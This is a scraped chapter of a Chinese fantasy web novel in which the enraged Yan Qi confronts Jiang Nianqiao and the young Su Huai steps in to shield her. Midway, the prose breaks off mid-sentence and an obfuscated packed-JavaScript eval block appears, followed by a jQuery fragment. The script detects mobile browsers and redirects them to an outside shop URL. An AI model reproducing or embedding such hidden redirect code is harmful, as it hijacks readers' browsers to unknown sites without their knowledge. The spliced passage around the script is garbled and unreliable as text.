默认冷灰
24号文字
方正启体

10. 争执

作者:江月明明本书字数:K更新时间:
    她话音甫落,一道人影悍然卷至,江念桥眼底一黯,没有反抗,任由颜七一掌将她掼在岩壁上,发出砰地一声闷响,乌金剑鞘横抵在喉间,她被迫微微扬起头。


    “江念桥,你还敢提!如果不是你,傅明珏今天怎么能逃走!”颜七死死盯住她,瞳孔全是猩红血丝,额头青筋暴起,整张脸都因无法抑制的愤怒而扭曲,“如果不是你,六年前他——”


    “颜七!”徐长靖厉喝一声。


    颜七猝然一怔,眼底恨意却丝毫未散,良久他低低笑起来:“江念桥,你真的是......”笑声戛然而止,他一拳狠狠砸在她脸侧的山岩上,碎石簌簌而落,“屡教不改!顽固不化!六年前掌门师伯为了保你,里里外外废了多少功夫!而你呢!你是怎么报答的?!”


    江念桥垂下眼睛,她无法和这样的目光对视。


    “六年......你在风断山思过六年,思出什么了?!”他胸膛剧烈起伏,仿佛是积压多年的愤怒终于冲破最后一道防线,“无论过去多少年,无论多少次,你都还是那个你!你重情重义,为了他舍生忘死,那我呢?我算什么!”


    颜七蓦地松开手,踉跄着向后退开几步,双手深深插进自己的头发,像是又变回当年那个躲在尸堆里的孩子。


    “这十二年来,我每一天闭上眼,都能看见我娘被刀钉在门上,我爹的头颅滚到我脚边,他们的眼睛都睁着......你见过吗?不,不!你从没见过!我想复仇,这有错吗?有错吗!”


    “你是谁啊?!你是江念桥!是朝阳峰关门弟子!天生灵骨,万中无一的修行天赋!自幼万千宠爱于一身,掌门师伯把你当成他的眼珠子!你无论犯下多大的错,他都不可能真的对你怎么样!”


    那双赤红的眼睛仿佛要滴下血泪,经年积压的愤怒、痛苦与仇恨混在一团,他几乎语无伦次:“但我不一样,我只是拂江峰一个平平无奇的小弟子。我恨魔族,我恨傅明珏,所有魔族都该死!但那、那时候,我也没想真的让他死......但我能做什么!你告诉我,我能做什么?!”


    “你清高!你有情有义!你说放人就放人,说回去就回去!那我呢?我父母亲人的仇怎么报!”宛如困兽咆哮的嘶吼有一瞬间将暴雨声都压了下去,紧接着一声铮鸣,长剑雪光一闪直刺而来!


    “——师姐!”一道影子疾风般掠至江念桥面前,双臂伸展,母鸡护雏似的将她挡在身后。


    剑势猝然一止,堪堪贴着苏淮胸前的衣衫停下,略显单薄的少年躯体正在微微颤抖。


    “让开!”颜七眼底血色翻涌。


    “代掌门师兄下山前曾叮嘱过我,”苏淮面色苍白,紧咬着牙,凌厉剑气削断他几缕鬓发,但他一步未退,“若外敌来袭,我要躲在江师姐身后,但若同门阋墙,我要站在江师姐身前。”


    原来如此。


    怪不得大师兄会将一个连辟谷都还没完全的小弟子派下山。


    六年前人人喊打的一幕幕如在眼前,不知道他是怎么掘地三尺才从澜绝群峰中翻出一个对她没有敌意的,江念桥无声苦笑,沈师兄为了她当真是用心良苦。


    颜七先是一怔,而后像是听到了一个笑话,嘴角缓缓扯动,低哑又狂乱的笑在哗哗雨声中乍起乍伏,像漏了气的风箱:“好,好啊!前有掌门师伯,后有大师兄,还外添一个小师弟,你们一个个的,都要护着她!”


    苏淮紧抿着愈发苍白的唇,没有说话,也没有动。


    江念桥伸手轻轻将他拨到一旁,径直迎向颜七的目光:“你说的对,我有掌门庇护而你没有,所以我胆大包天、肆意妄为,当年你选择袖手旁观,并没有错。”


    有什么东西从脸上滑过,颜七用手一摸,才发现那是眼泪。


    “你也知道,他不愿说的事便是宁死也不会开口,”江念桥仿佛被蛰了下般将视线从那双流泪的眼睛上移开,低低叹了口气,“你带他回澜绝,除了让六年前的一切重演一遍外毫无意义。”


    颜七张了张嘴,却没有发出任何声音。


    大雨滂沱,苍墟境终于被沉云吞噬殆尽,天地失去界限,仿佛万物都被吸纳进无边的黑洞。


    翌日晨光熹微,雨势渐收,苍墟境又起了一层乳白色的薄雾。徐长靖等人按原计划前行与苍墟境内的其他小队汇合,而江念桥和苏淮则尝试先将周珂带出云阙山,并传信宗盟言明魔族南下一事。


    对这个分头行动的方案,陆灵辄持保留意见。


    “江师姐、苏师弟一路小心,”秦澈朝他们摆手道,“顺利的话,今天太阳下山前我们就会再见。”


    江念桥略一颔首,在转身前最后朝陆灵辄看了一眼,不知怎么地,竟隐隐有种说不上来的失落,明明也才认识他两天而已,一定是她被关在幽狱太久了,才会有这种莫名其妙的感觉。


    对,一定是这样。


    “师姐,”苏淮的声音一下将她从凌乱的思绪中拽了出来,“颜师兄出剑的时候,你为什么不躲?”


    江念桥一怔,苏淮入门不久,那些陈年往事他自然不知,便淡声道:“因为我知道,他不会真的动手。”


    澜绝五主峰中,峰主早逝的早逝,闭关的闭关,云游的云游,唯有簪星峰主盛霆守山数十年如一日,五峰弟子虽师承不同,但都在他座下受教。她和傅明珏、颜七都是最早拜入山门的那一批弟子,因年龄相仿很快打成一片,傅明珏年纪稍长,是三人小队中领头的那个。


    他天赋过人又博闻强识,性格却跳脱飞扬,是澜绝山里少见的不受规训的弟子,刚开始的那几年里没少带着她和颜七到处摸鸟蛋抓泥鳅打野鸡,有次甚至跑到山脚下的田里偷西瓜,掰开才发现根本没熟。


    但三人却啃得不亦乐乎。


    相比起她还有大师兄和师父做靠山,其才不扬的拂江峰小弟子颜七便真的只有傅明珏一处光源,无论是捣蛋被抓还是修行遇阻,都是傅明珏不遗余力护他助他。


    江念桥不知道凡间那些骨肉血亲的手足是如何,但想来再情深也不过便是傅明珏对颜七那般姿态。


    谁也没想到事情会变成后来那样——除了傅明珏自己。


    “都那样了,还不叫动手?”周珂伸手比划了个猛推的姿势,他的断腿已被接上,但走起路还是一瘸一拐,没几步额头就疼出一层汗,脸色白得披上孝衣立马能去哭坟。


    金尊玉贵的小少爷打出生就没被人动过手,跟修士对“动手”二字理解分歧颇大,照他看来,对方都掼你撞墙了,打断他一根胳膊都是少爷大发慈悲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093300|195533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    苏淮皱着眉看了几眼,干脆一把将他背了起来,笑道:“好了好了,知道你金贵了......”他调侃完,侧头看向江念桥,又道,“有道是‘君子不立危墙之下’,虽然颜师兄未必有意,但剑一出鞘保不齐有什么意外,万一他一个手滑,师姐岂不是就要伤在他手里?”


    江念桥眉峰一扬,揶揄道:“你既也知道,那时还敢冲上前来?”


    “代掌门师兄曾说,颜师兄若对你动手,你必不会闪避,更不会还手,”苏淮稚气未脱地认真回答,“但师姐却不会坐视他伤我。”他嘿嘿一笑,“与其说我相信颜师兄不会手滑,不如说我相信师姐的剑一定比他更快。”


    江念桥闻言一笑,她这个大师兄委实当得起“料事如神”这四个字,可惜运气稍欠——若是早生几十年,估计能和那位“运筹帷幄之中,决胜千里之外”的段宗主平分秋色,哪里会沦落到和她并称“澜绝双珠”的境地。


    “但下次,”苏淮敛了笑,声音变得闷闷的,“师姐别再这样被动了。当年的事大家毕竟各有各的难处,师姐也并不欠颜师兄什么,甚至我觉得傅......他也不该背负颜师兄的仇恨......”他顿了顿,“一个种族中其他人犯下的杀孽为何要另一人承担罪过?这不公平,不是么?”


    “公平?”从几人断续的争执中拼凑出事情轮廓的周少爷嗤笑一声,“跟魔族还论什么公平?非我族类,其心必异!再说了,这世上的对与错,黑与白,正与邪原也无甚定论——上位者划定规则,下位者遵守,不是拨弄风云的人物,能在规则里安稳一世已是祖上积福,想那么多干什么!”


    “魔族也是人类啊,数千年前说不定还和你我是同一个祖先呢。”苏淮反驳完,又叹了口气喃喃道,“却为何一定要划界而治,和东陆拼个你死我活呢?”


    “舟原那个地方跟东陆可没法比,冬天暴雪封原,每年都有人畜成批冻饿而死,但若哪年雪下得少了,次年又要干旱缺水,部落便只得迁徙,连个定居的地方都没有......”周珂不愧是官宦子弟,说起两族世仇起源头头是道,“这搁谁谁受得了?自然要对东陆这块膏腴之地垂涎三尺!”


    苏淮点头:“道理是没错,但我总觉得魔族也是为环境所迫,并非天生邪恶,正如人族也良莠不齐一样,要具体情况具体分析,而不是见魔族就是非不问地杀之后快......”


    “你一个宗盟小弟子,操心得倒不少,”周珂边笑边道,觉得这小子真是天真得可爱,忍不住伸手轻轻揪了下他微微泛红的耳朵,“这么为魔族说话,是不是有什么不可告人的秘密?”


    “嘿,你说话就说话,动手做什么?再乱动我就把你从这山上丢下去!”


    “少吓人了!就你这圣母转世的心肠,我看就是见一个魔族摔断了腿你也能把人送回舟原!”


    俩人嬉闹着跑下山坡,漫山遍野的雾被他们带起一道柔和的气流,有那么一瞬间,江念桥甚至有些分不清他们究竟是在苍墟境还是在很多年前的澜绝山,雾色中那两道背影是苏淮和周珂还是傅明珏和颜七。


    就在这时,变故陡生!


    一道亮银弧光从雾深处遽然斜掠而出,在她霎时缩紧的目光中如离弦之箭般朝前方射去!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)